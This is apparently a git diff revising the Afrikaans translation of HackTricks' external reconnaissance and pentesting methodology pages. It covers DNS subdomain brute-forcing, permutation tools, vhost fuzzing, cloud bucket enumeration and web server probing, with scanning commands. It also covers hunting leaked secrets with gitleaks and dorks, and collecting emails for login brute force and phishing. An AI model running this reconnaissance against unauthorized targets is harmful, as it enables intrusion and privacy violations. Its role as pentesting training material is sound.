|
||||
### **DNS Brute force**
|
||||
|
||||
Laat ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te kragtig te soek met moontlike subdomeinname.
|
||||
Laat ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te kragtig te gebruik met moontlike subdomeinname.
|
||||
|
||||
Vir hierdie aksie sal jy 'n paar **gewone subdomeinwoordlyste soos** nodig hê:
|
||||
|
||||
|
@ -361,7 +358,7 @@ En ook IP-adresse van goeie DNS-oplossers. Om 'n lys van vertroude DNS-oplossers
|
|||
|
||||
Die mees aanbevole gereedskap vir DNS-kragtige aksies is:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Dit was die eerste gereedskap wat 'n doeltreffende DNS-kragtige aksie uitgevoer het. Dit is baie vinnig, maar vatbaar vir vals positiewe.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Dit was die eerste gereedskap wat 'n effektiewe DNS-kragtige aksie uitgevoer het. Dit is baie vinnig, maar vatbaar vir vals positiewe resultate.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
|
@ -371,7 +368,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n omhulsel rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine op te som deur aktiewe bruteforce te gebruik, asook om subdomeine op te los met wildcard hantering en maklike in- en uitset ondersteuning.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n omhulsel rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine op te som deur aktiewe bruteforce te gebruik, asook om subdomeine op te los met wildkaart-hantering en maklike in- en uitset-ondersteuning.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -379,15 +376,15 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
|||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) maak gebruik van asyncio om domeinname asinkroon te brute force.
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) maak gebruik van asyncio om domeinnames asynchroon te brute force.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Tweede DNS Brute-Force Ronde
|
||||
|
||||
Nadat subdomeine gevind is deur oop bronne en brute-forcings, kan jy veranderings van die gevonde subdomeine genereer om selfs meer te probeer vind. Verskeie gereedskap is nuttig vir hierdie doel:
|
||||
Nadat subdomeine gevind is deur oop bronne en brute-forcings, kan jy veranderings van die gevonde subdomeine genereer om selfs meer te vind. Verskeie gereedskap is nuttig vir hierdie doel:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gee die domeine en subdomeine genereer permutasies.
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gee die domeine en subdomeine permutasies.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
|
@ -396,16 +393,16 @@ cat subdomains.txt | dnsgen -
|
|||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Gegee die domeine en subdomeine genereer permutasies. As geen permutasie lêer aangedui word nie, sal gotator sy eie een gebruik.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Gee die domeine en subdomeine om permutasies te genereer. As geen permutasie lêer aangedui word nie, sal gotator sy eie een gebruik.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Afgesien van die generering van subdomein-permutasies, kan dit ook probeer om hulle op te los (maar dit is beter om die vorige gekommenteerde gereedskap te gebruik).
|
||||
* Jy kan die altdns-permutasies **woordelys** kry [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
* Jy kan altdns-permutasies **woordelys** kry in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Nog 'n instrument om permutasies, mutasies en verandering van subdomeine uit te voer. Hierdie instrument sal die resultaat kragtig afdwing (dit ondersteun nie dns wild card nie).
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): 'n Ander instrument om permutasies, mutasies en verandering van subdomeine uit te voer. Hierdie instrument sal die resultaat kragtig afdwing (dit ondersteun nie dns wild card nie).
|
||||
* Jy kan die dmut permutasies woordelys kry [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
@ -421,13 +418,13 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is 'n subdomein-brute-force fuzzer gekoppel met 'n immens eenvoudige maar effektiewe DNS-antwoord-geleide algoritme. Dit maak gebruik van 'n voorsiene stel insetdata, soos 'n op maat gemaakte woordelys of historiese DNS/TLS-rekords, om meer ooreenstemmende domeinname akkuraat te sintetiseer en hulle selfs verder uit te brei in 'n lus gebaseer op inligting wat tydens die DNS-scan ingesamel is.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is 'n subdomein-brute-force fuzzer gekoppel met 'n immens eenvoudige maar effektiewe DNS-antwoord-geleide algoritme. Dit maak gebruik van 'n voorsiene stel insetdata, soos 'n op maat gemaakte woordelys of historiese DNS/TLS-rekords, om akkuraat meer ooreenstemmende domeinname te sintetiseer en hulle selfs verder uit te brei in 'n lus gebaseer op inligting wat tydens die DNS-scan ingesamel is.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Subdomein Ontdekking Werkvloei**
|
||||
|
||||
Kyk na hierdie blogpos wat ek geskryf het oor hoe om die subdomein ontdekking outomaties van 'n domein te doen deur die gebruik van **Trickest-werkvloei** sodat ek nie handmatig 'n klomp gereedskap op my rekenaar hoef te begin nie:
|
||||
Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking te outomatiseer** van 'n domein deur die gebruik van **Trickest-werkvloei** sodat ek nie handmatig 'n klomp gereedskap op my rekenaar hoef te begin nie:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
|
||||
|
@ -435,11 +432,11 @@ Kyk na hierdie blogpos wat ek geskryf het oor hoe om die subdomein ontdekking ou
|
|||
|
||||
### **VHosts / Virtuele Gasheer**
|
||||
|
||||
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye op daardie IP** te vind deur in **OSINT-bronne** te kyk vir domeine in 'n IP of deur **VHost-domeinname op daardie IP te brute force**.
|
||||
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webblaaie op daardie IP te vind** deur in **OSINT-bronne** te kyk vir domeine in 'n IP of deur **VHost-domeinname in daardie IP te brute force**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
Jy kan sommige **VHosts in IPs vind deur** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **of ander API's te gebruik**.
|
||||
Jy kan sommige **VHosts in IP's vind deur** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **of ander API's te gebruik**.
|
||||
|
||||
**Brute Force**
|
||||
|
||||
|
@ -469,55 +466,55 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
```
|
||||
### **Emmersie Kragaanval**
|
||||
|
||||
Terwyl jy op soek is na **subdomeine**, hou 'n oog dop om te sien of dit na enige soort **emmer** verwys, en in daardie geval [**kontroleer die regte**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal ken, probeer [**kragaanval moontlike emmernaam en kontroleer die regte**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Terwyl jy op soek is na **subdomeine**, hou 'n oog dop om te sien of dit na enige soort **emmer** wys, en in daardie geval [**kontroleer die regte**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal ken, probeer om [**moontlike emmernaamkragaanvalle uit te voer en die regte te kontroleer**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitering**
|
||||
|
||||
Jy kan **moniter** of **nuwe subdomeine** van 'n domein geskep word deur die **Sertifikaat deursigtigheid** Logboeke te monitor met [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Jy kan **moniter** of **nuwe subdomeine** van 'n domein geskep word deur die **Sertifikaat Transparantie** Logboeke te monitor met [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
Kyk vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
As die **subdomein** na 'n **S3 emmer** verwys, [**kontroleer die regte**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Kyk vir moontlike [**subdomein-oorneemaksies**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
As die **subdomein** na 'n **S3-emmer** wys, [**kontroleer die regte**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
As jy enige **subdomein met 'n IP verskillend** van die een wat jy reeds in die bates ontdek het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met behulp van Nessus of OpenVAS) en 'n paar [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste besig is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
As jy enige **subdomein met 'n IP wat verskil** van die een wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met behulp van Nessus of OpenVAS) en 'n paar [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste besig is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
_Merk op dat die subdomein soms gehuisves word binne 'n IP wat nie deur die klient beheer word nie, so dit is nie in die omvang nie, wees versigtig._
|
||||
|
||||
## IP's
|
||||
|
||||
In die aanvanklike stappe het jy dalk **'n paar IP-reeks, domeine en subdomeine gevind**.\
|
||||
In die aanvanklike stappe het jy dalk **'n paar IP-reekse, domeine en subdomeine gevind**.\
|
||||
Dit is tyd om **al die IP's van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-navrae).**
|
||||
|
||||
Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IP's wat deur domeine en subdomeine gebruik is, vind**. Hierdie IP's mag steeds deur die klient besit word (en mag jou in staat stel om [**CloudFlare omleidings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
|
||||
Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IP's wat deur domeine en subdomeine gebruik is, vind**. Hierdie IP's mag steeds deur die klient besit word (en mag jou in staat stel om [**CloudFlare-omleidings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
Jy kan ook vir domeine wat na 'n spesifieke IP-adres verwys, kyk met die hulpmiddel [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
Jy kan ook vir domeine wat na 'n spesifieke IP-adres wys, kyk met die hulpmiddel [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
**Skandeer alle IP's wat nie aan CDNs behoort nie** (aangesien jy waarskynlik niks interessants daarin sal vind nie). In die besigheidsdiens wat ontdek is, kan jy dalk **kwesbaarhede vind**.
|
||||
**Skandeer alle IP's wat nie aan CDN's behoort nie** (aangesien jy waarskynlik niks interessants daar sal vind nie). In die lopende dienste wat ontdek is, kan jy **kwesbaarhede vind**.
|
||||
|
||||
**Vind 'n** [**gids**](../pentesting-network/) **oor hoe om gasheer te skandeer.**
|
||||
|
||||
## Webbedieners jag
|
||||
|
||||
> Ons het al die maatskappye en hul bates gevind en ons ken IP-reeks, domeine en subdomeine binne die omvang. Dit is tyd om vir webbedieners te soek.
|
||||
> Ons het al die maatskappye en hul bates gevind en ons ken IP-reekse, domeine en subdomeine binne die omvang. Dit is tyd om vir webbedieners te soek.
|
||||
|
||||
In die vorige stappe het jy waarskynlik al 'n bietjie **rekognisering van die IP's en domeine wat ontdek is** uitgevoer, so jy het dalk **al die moontlike webbedieners al gevind**. Indien nie, gaan ons nou sien na 'n paar **vinnige truuks om vir webbedieners te soek** binne die omvang.
|
||||
In die vorige stappe het jy waarskynlik al 'n bietjie **rekognisering van die IP's en domeine wat ontdek is** uitgevoer, sodat jy dalk **al die moontlike webbedieners al gevind het**. Indien nie, gaan ons nou sien na 'n paar **vinnige truuks om vir webbedieners te soek** binne die omvang.
|
||||
|
||||
Let asseblief daarop dat dit **georiënteer sal wees vir die ontdekking van webtoepassings**, so jy moet ook die **kwesbaarheid** en **poortskandering** uitvoer (**indien toegelaat** deur die omvang).
|
||||
Let asseblief daarop dat dit **georiënteer sal wees vir die ontdekking van webtoepassings**, sodat jy ook die **kwesbaarheid** en **poortskandering** moet uitvoer (**indien toegelaat** deur die omvang).
|
||||
|
||||
'n **Vinnige metode** om **oortjies oop** wat met **web** bedieners verband hou te ontdek met [**masscan** kan hier gevind word](../pentesting-network/#http-port-discovery).\
|
||||
'n Ander vriendelike hulpmiddel om vir webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy stuur net 'n lys domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
|
||||
'n **Vinnige metode** om **oophawens verband houend met webbedieners** te ontdek met [**masscan** kan hier gevind word](../pentesting-network/#http-port-discovery).\
|
||||
'n Ander vriendelike hulpmiddel om vir webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy stuur net 'n lys domeine en dit sal probeer om aan te sluit by poort 80 (http) en 443 (https). Daarbenewens kan jy aandui om ander poorte te probeer:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Skermgrepe**
|
||||
|
||||
Nou dat jy **alle webbedieners** wat teenwoordig is in die omvang ontdek het (onder die **IP's** van die maatskappy en al die **domeine** en **subdomeine**), weet jy waarskynlik **nie waar om te begin nie**. So, laat ons dit eenvoudig maak en begin net deur skermskote van almal te neem. Deur net 'n blik te werp op die **hoofbladsy** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwesbaar** te wees.
|
||||
Nou dat jy **alle webbedieners** wat teenwoordig is in die omvang (onder die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) ontdek het, weet jy waarskynlik **nie waar om te begin nie**. Dus, laat ons dit eenvoudig maak en begin net deur skermskote van almal te neem. Deur net 'n blik te werp op die **hoofbladsy** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwesbaar** te wees.
|
||||
|
||||
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** gebruik.
|
||||
|
||||
|
@ -525,7 +522,7 @@ Verder kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebrui
|
|||
|
||||
## Openbare Wolkmiddels
|
||||
|
||||
Om potensiële wolkbates van 'n maatskappy te vind, moet jy **begin met 'n lys sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n kriptomaatskappy kan jy woorde soos: `"krypto", "beursie", "dao", "<domein_naam>", <"subdomein_name">` gebruik.
|
||||
Om potensiële wolkbates wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n kriptomaatskappy kan jy woorde soos: `"krypto", "beursie", "dao", "<domein_naam>", <"subdomein_name">` gebruik.
|
||||
|
||||
Jy sal ook woordlyste van **gewone woorde wat in houers gebruik word** benodig:
|
||||
|
||||
|
@ -533,11 +530,11 @@ Jy sal ook woordlyste van **gewone woorde wat in houers gebruik word** benodig:
|
|||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Daarna moet jy met daardie woorde **permutasies genereer** (kyk na die [**Tweede Ronde DNS Brute-Force**](./#second-dns-bruteforce-round) vir meer inligting).
|
||||
Daarna moet jy met daardie woorde **permutasies genereer** (kyk na die [**Tweede Ronde DNS-Brute-Force**](./#second-dns-bruteforce-round) vir meer inligting).
|
||||
|
||||
Met die resulterende woordlyste kan jy gereedskap soos [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gebruik.
|
||||
|
||||
Onthou dat wanneer jy op soek is na Wolkbates, jy **meer as net houers in AWS** moet soek.
|
||||
Onthou dat wanneer jy na Wolkbates soek, jy **meer as net houers in AWS** moet soek.
|
||||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
|
@ -554,7 +551,7 @@ Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat j
|
|||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
E-posse sal later van pas kom om **webaanmeldings en outentiseringsdienste te krag** (soos SSH). Dit is ook nodig vir **hengel**. Verder sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die hengelveldtog.
|
||||
E-posse sal later van pas kom om **webaanmeldings en outentifikasiedienste te brute force** (soos SSH). Ook is hulle nodig vir **hengel**. Verder sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die hengelveldtog.
|
||||
|
||||
## Gelêkte Gelde
|
||||
|
||||
|
@ -573,10 +570,10 @@ Gelêkte gelde is verwant aan hacks van maatskappye waar **sensitiewe inligting
|
|||
|
||||
### Github Gelde
|
||||
|
||||
Gelde en API's kan gelekte word in die **openbare repositoriums** van die **maatskappy** of van die **gebruikers** wat vir daardie github-maatskappy werk.\
|
||||
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om al die **openbare repos** van 'n **organisasie** en van sy **ontwikkelaars** af te **laai** en [**gitleaks**](https://github.com/zricethezav/gitleaks) outomaties daaroor te hardloop.
|
||||
Gelde en API's kan gelekteer word in die **openbare bewaarplekke** van die **maatskappy** of van die **gebruikers** wat vir daardie github-maatskappy werk.\
|
||||
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om al die **openbare bewaarplekke** van 'n **organisasie** en van sy **ontwikkelaars** af te **laai** en [**gitleaks**](https://github.com/zricethezav/gitleaks) outomaties daaroor te hardloop.
|
||||
|
||||
**Leakos** kan ook gebruik word om **gitleaks** te hardloop teen al die **teks** wat aan hom voorsien **URL's oorgedra** word, aangesien **webbladsye soms ook geheime bevat**.
|
||||
**Leakos** kan ook gebruik word om **gitleaks** weer te hardloop teen al die **teks** wat aan hom **deurgegee URL's** is, aangesien soms **webbladsye ook geheime bevat**.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
|
@ -588,14 +585,14 @@ Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die
|
|||
|
||||
### Paste Gelde
|
||||
|
||||
Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n plakwebwerf publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
|
||||
Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n plakwebwerf publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarvoor te soek.\
|
||||
Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 plakwebwerwe gelyktydig te soek.
|
||||
|
||||
### Google Dorks
|
||||
|
||||
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat nie daar behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan hardloop nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal te hardloop**.
|
||||
Ou maar goeie google dorks is altyd nuttig om **blootgestelde inligting wat nie daar behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan hardloop nie. So, jy kan jou gunsteling 10 kry of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal te hardloop**.
|
||||
|
||||
_Merk op dat die gereedskap wat verwag om die hele databasis te hardloop deur die gewone Google-blaaier te gebruik, nooit sal eindig nie, aangesien Google jou baie baie gou sal blokkeer._
|
||||
_Merk op dat die gereedskappe wat verwag om die hele databasis te hardloop deur die gewone Google-blaaier te gebruik, nooit sal eindig nie, aangesien Google jou baie baie gou sal blokkeer._
|
||||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
|
@ -603,36 +600,36 @@ As jy **geldige gelêkte** gelde of API-tokens vind, is dit 'n baie maklike wen.
|
|||
|
||||
## Openbare Kodekwesbaarhede
|
||||
|
||||
As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwesbaarhede** daarin.
|
||||
As jy vind dat die maatskappy **open-source kode** het, kan jy dit **ontleed** en soek na **kwesbaarhede** daarin.
|
||||
|
||||
**Afhanklik van die taal** is daar verskillende **gereedskap** wat jy kan gebruik:
|
||||
**Afhanklik van die taal** is daar verskillende **gereedskappe** wat jy kan gebruik:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Daar is ook gratis dienste wat jou toelaat om **openbare repositoriums te skandeer**, soos:
|
||||
Daar is ook gratis dienste wat jou toelaat om **openbare bewaarplekke te skandeer**, soos:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings** geleë, so op hierdie punt wil ek graag praat oor 'n **webtoepassingstoetsmetodologie**, en jy kan hierdie inligting [**hier vind**](../../network-services-pentesting/pentesting-web/).
|
||||
Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings** geleë, dus op hierdie punt wil ek graag praat oor 'n **webtoepassingstoetsmetodologie**, en jy kan hierdie inligting [**hier vind**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders oopbronhulpmiddels**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, al verwag jy nie dat hulle baie sensitiewe kwesbaarhede sal vind nie, is hulle handig om hulle te implementeer in **werkstrome om 'n paar aanvanklike webinligting te hê.**
|
||||
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders oopbronhulpmiddels**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien hulle handig is om te implementeer op **werkstrome om 'n paar aanvanklike webinligting te hê**, al moet jy nie verwag dat hulle baie sensitiewe kwesbaarhede vir jou sal vind nie.
|
||||
|
||||
## Opsomming
|
||||
|
||||
> Gelukwens! Op hierdie punt het jy reeds **alle basiese opname** uitgevoer. Ja, dit is basies omdat baie meer opname gedoen kan word (sal later meer truuks sien).
|
||||
> Gelukwens! Op hierdie punt het jy reeds **alle basiese opname** uitgevoer. Ja, dit is basies omdat baie meer opname gedoen kan word (ons sal later meer truuks sien).
|
||||
|
||||
Jy het reeds:
|
||||
|
||||
1. Al die **maatskappye** binne die omvang gevind
|
||||
2. Al die **bates** wat aan die maatskappye behoort (en 'n paar kwesbaarheidsskanderings uitgevoer indien in die omvang)
|
||||
3. Al die **domeine** wat aan die maatskappye behoort
|
||||
4. Al die **subdomeine** van die domeine (enige subdomeinoorname?)
|
||||
2. Al die **bates** wat aan die maatskappye behoort, gevind (en 'n paar kwesbaarheidsskanderings uitgevoer indien in die omvang)
|
||||
3. Al die **domeine** wat aan die maatskappye behoort, gevind
|
||||
4. Al die **subdomeine** van die domeine gevind (enige subdomeinoorname?)
|
||||
5. Al die **IP's** (van en **nie van CDNs**) binne die omvang gevind.
|
||||
6. Al die **webbedieners** gevind en 'n **skermkiekie** van hulle geneem (enige iets vreemds wat 'n dieper kykie werd is?)
|
||||
7. Al die **potensiële openbare wolkbates** wat aan die maatskappy behoort.
|
||||
6. Al die **webbedieners** gevind en 'n **skermkiekie** van hulle geneem (enigiets vreemds wat 'n dieper kykie werd is?)
|
||||
7. Al die **potensiële openbare wolkbatesse** wat aan die maatskappy behoort, gevind.
|
||||
8. **E-posse**, **geloofsbriewe-lekke**, en **geheimlekkasies** wat jou 'n **groot wen baie maklik** kan gee.
|
||||
9. **Pentesting van al die webwerwe wat jy gevind het**
|
||||
|
||||
|
@ -647,9 +644,9 @@ Daar is verskeie gereedskap daar buite wat deel van die voorgestelde aksies teen
|
|||
|
||||
## **Verwysings**
|
||||
|
||||
* Alle gratis kursusse van [**@Jhaddix**](https://twitter.com/Jhaddix) soos [**The Bug Hunter's Methodology v4.0 - Opname-uitgawe**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* Alle gratis kursusse van [**@Jhaddix**](https://twitter.com/Jhaddix) soos [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
|
@ -657,7 +654,7 @@ Indien jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **o
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
|
|
|
@ -14,9 +14,9 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hakloopbaan** en wil die onhakbare hak - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhakbare wil hak - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -32,10 +32,10 @@ Het jy **fisiese toegang** tot die masjien wat jy wil aanval? Jy moet 'n paar [*
|
|||
|
||||
### 1 - [Ontdekking van gasheer binne die netwerk](pentesting-network/#discovering-hosts)/ [Ontdekking van bates van die maatskappy](external-recon-methodology/)
|
||||
|
||||
